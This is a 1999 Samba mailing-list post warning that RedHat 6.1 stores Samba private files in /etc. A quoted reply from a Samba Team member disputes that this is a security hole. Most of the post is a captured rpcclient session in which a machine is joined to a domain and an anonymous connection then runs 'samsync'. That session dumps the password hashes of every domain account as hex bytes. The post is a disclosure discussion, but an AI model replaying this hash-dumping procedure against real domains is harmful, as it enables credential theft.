URGENT: REDHAT 6.1 STORES SAMBA PRIVATE FILES IN /etc
Luke Kenneth Casson Leighton
lkcl at samba.org
Mon Dec 20 22:00:51 GMT 1999
i acknowledge that there is not a security hole in redhat 6.1
default installation: it requires modification. it is the
modification or deliberate exploitation that scares me.
demonstration script on its way. this is why i am scared of .mac files.
not that rpcclient is run twice, with the second time being anonymous user
connection:
Script started on Sun Dec 19 20:27:15 1999
[root at steeleye source]# bin/rpcclient -S emery -U administrator%test -W ROCKNROLL -l log
[ROCKNROLL\administrator at EMERY]$ lsaq
lsaq
LSA Query Info Policy
Domain Member - Domain: ROCKNROLL SID: S-1-5-21-639959114-323303692-99485923
Domain Controller - Domain: ROCKNROLL SID: S-1-5-21-639959114-323303692-99485923
[ROCKNROLL\administrator at EMERY]$ createuser steeleye$ -s -j
createuser steeleye$ -s -j
SAM Create Domain User
Domain: ROCKNROLL Name: steeleye$ ACB: [S ]
Create Domain User: OK
Script started on Tue Dec 14 13:26:34 1999
[lkcl at steeleye source]$ bin/rpcclient -S emery -U test%password -l log
[test at EMERY]$ ntpass
ntpass
SAM NT Password Change
New Password (ONCE ONLY - get it right :-)
NT Password changed OK
[test at EMERY]$ exit
exit
[lkcl at steeleye source]$ exit
Script done on Tue Dec 14 13:26:54 1999
Join STEELEYE to Domain ROCKNROLL: OK
[ROCKNROLL\administrator at EMERY]$ quit
quit
[root at steeleye source]# bin/rpcclient -S emery -U% -W ROCKNROLL -l log
[ROCKNROLL\@EMERY]$ samsync
samsync
SAM Database Sync
-----------------
Domain: ROCKNROLL
Account: Administrator
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: Guest
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: test
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: lkcl
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: VUSR_EMERY
{
0x78, 0x31, 0x01, 0xDB, 0x58, 0x01, 0x46, 0x30,
0x67, 0x2F, 0x32, 0xB0, 0x06, 0x20, 0x3E, 0xAE
};
{
0x3E, 0x77, 0x31, 0x59, 0x2E, 0xED, 0x08, 0x05,
0x47, 0x6E, 0x39, 0xF3, 0xD9, 0x8E, 0xAD, 0x87
};
Account: test1
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: test2
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: test3
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: test5
{
0xE5, 0x2C, 0xAC, 0x67, 0x41, 0x9A, 0x9A, 0x22,
0x4A, 0x3B, 0x10, 0x8F, 0x3F, 0xA6, 0xCB, 0x6D
};
{
0x88, 0x46, 0xF7, 0xEA, 0xEE, 0x8F, 0xB1, 0x17,
0xAD, 0x06, 0xBD, 0xD8, 0x30, 0xB7, 0x58, 0x6C
};
Account: test6
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: test7
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: test8
{
0x2A, 0x35, 0xCE, 0xE0, 0xB0, 0xDC, 0xC3, 0x4B,
0xD3, 0xB0, 0xBB, 0x90, 0xAE, 0x0D, 0xD7, 0x76
};
{
0x31, 0xD6, 0xCF, 0xE0, 0xD1, 0x6A, 0xE9, 0x31,
0xB7, 0x3C, 0x59, 0xD7, 0xE0, 0xC0, 0x89, 0xC0
};
Account: BROOKFIELDS$
{
0x13, 0x97, 0xA1, 0xB9, 0x20, 0xCA, 0xAC, 0xF9,
0xE8, 0x59, 0x18, 0xE5, 0x40, 0xC7, 0x03, 0xAE
};
{
0x90, 0x38, 0x31, 0x95, 0xF3, 0xD4, 0x7D, 0x3E,
0xA9, 0xB5, 0x68, 0xED, 0x6A, 0x23, 0x04, 0x82
};
Account: Adm!n
{
0x77, 0x36, 0xD4, 0xC4, 0xAD, 0xBE, 0xB3, 0xA5,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0xE6, 0x49, 0x13, 0x62, 0x11, 0x7E, 0xA8, 0x5A,
0x0E, 0x22, 0xB8, 0xD6, 0x44, 0x49, 0xCF, 0x27
};
Account: REGENT$
{
0xB1, 0x9D, 0x2B, 0x5D, 0xAB, 0x70, 0x35, 0xCC,
0x19, 0xC9, 0x86, 0x1E, 0xEE, 0xDD, 0x18, 0xE5
};
{
0x2A, 0xA7, 0x3C, 0x3F, 0xFA, 0x81, 0x72, 0x84,
0x1D, 0xFD, 0x57, 0x81, 0xB3, 0xDE, 0x62, 0x67
};
Account: è–
{
0x74, 0x31, 0xB2, 0xAA, 0x60, 0x48, 0xF1, 0x54,
0xA3, 0x06, 0xA5, 0xB8, 0xFA, 0xE2, 0x0E, 0x0E
};
{
0x74, 0x31, 0xB2, 0xAA, 0x60, 0x48, 0xF1, 0x54,
0xA3, 0x06, 0xA5, 0xB8, 0xFA, 0xE2, 0x0E, 0x0E
};
Account: TEST$
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: TESTWKS1$
{
0xDE, 0xA0, 0xAA, 0x89, 0xD1, 0x02, 0x61, 0x48,
0xC2, 0x26, 0x5B, 0x23, 0x73, 0x4E, 0x0D, 0xAC
};
{
0x06, 0x32, 0x99, 0x40, 0x8E, 0x50, 0xD4, 0x11,
0x64, 0x1C, 0x76, 0xD8, 0xE1, 0x6A, 0x6E, 0x05
};
Account: TESTWKS$
{
0x01, 0xFC, 0x5A, 0x6B, 0xE7, 0xBC, 0x69, 0x29,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0xB6, 0x94, 0x88, 0x05, 0xF7, 0x97, 0xBF,
0x2A, 0x82, 0x80, 0x79, 0x73, 0xB8, 0x95, 0x37
};
Account: new_user
{
0xB4, 0x48, 0x07, 0x28, 0xC5, 0xE5, 0xB5, 0xD4,
0x8F, 0x90, 0x0A, 0xBF, 0x62, 0x62, 0x47, 0x51
};
{
0xBA, 0xC5, 0x2B, 0x80, 0xB2, 0xEC, 0x25, 0xF3,
0x9E, 0xC5, 0x3B, 0x7E, 0xD8, 0xC1, 0x3C, 0x54
};
Account: WORKSTATION$
{
0x55, 0xC0, 0x99, 0x03, 0x6B, 0x4A, 0x8D, 0xBF,
0x1A, 0xD1, 0x2E, 0xDD, 0xA1, 0x3A, 0x11, 0xFC
};
{
0x2F, 0x22, 0xF2, 0xE1, 0xCC, 0xF7, 0x13, 0xAF,
0xDB, 0x68, 0x7B, 0xDA, 0xEE, 0xB9, 0x3A, 0xA5
};
Account: DUMMSRV$
{
0x3D, 0x66, 0x01, 0x1A, 0xE9, 0x62, 0xD5, 0xCD,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0xF9, 0xD8, 0xD3, 0xCE, 0x6F, 0xF6, 0x68, 0xC4,
0x17, 0xBA, 0x07, 0xBB, 0x9D, 0x8B, 0xBD, 0x39
};
Account: NT5-1$
{
0xFE, 0x0B, 0x21, 0x9D, 0x21, 0x9A, 0x0A, 0x6B,
0xAA, 0xD3, 0xB4, 0x35, 0xB5, 0x14, 0x04, 0xEE
};
{
0x0C, 0x9E, 0xA7, 0x5F, 0x7C, 0x9F, 0x41, 0x57,
0x50, 0x6B, 0x21, 0x71, 0xED, 0xB6, 0x1A, 0xB1
};
Account: steeleye$
{
0x55, 0xC0, 0x99, 0x03, 0x6B, 0x4A, 0x8D, 0xBF,
0x1A, 0xD1, 0x2E, 0xDD, 0xA1, 0x3A, 0x11, 0xFC
};
{
0xFF, 0x12, 0xE5, 0xB9, 0x79, 0xEB, 0xE8, 0x7A,
0xC5, 0x62, 0x37, 0xF5, 0x46, 0xBB, 0xC1, 0xAD
};
[ROCKNROLL\@EMERY]$ quit
quit
[root at steeleye source]# exit
exit
Script done on Sun Dec 19 20:28:09 1999
On Mon, 20 Dec 1999, Jeremy Allison wrote:
> Luke Kenneth Casson Leighton wrote:
> >
> > sum(0..n)(security)t tends to zero, as number of idiots tends to infinity.
>
> Yes I know.
>
> > jeremy, the pam writers created an /etc/security directory for these sorts
> > of things. the /etc/security directory is there to make it really, really
> > obvious that these files are not to be messed with.
> >
> > we create a private/ directory for the same reasons.
> >
> > we modify the permissions not only on the file but also on the directory
> > to be root-access only.
> >
> > readhat thinks otherwise, it seems.
>
> I agree, that what we do is more paranoid than what they
> do, but you must understand that what they do is *NOT*
> a security hole.
>
> You must be *very* careful about screaming "security hole"
> when no such problem exists. People get *very* twitchy,
> and with good reason, when you publically accuse them
> of such things.
>
> Remember the boy who cried wolf....
>
> NOTE for the clueless :-).
> RedHat 6.x does *NOT* have a security hole here !!!
>
> Regards,
>
> Jeremy Allison,
> Samba Team.
>
> --
> --------------------------------------------------------
> Buying an operating system without source is like buying
> a self-assembly Space Shuttle with no instructions.
> --------------------------------------------------------
>
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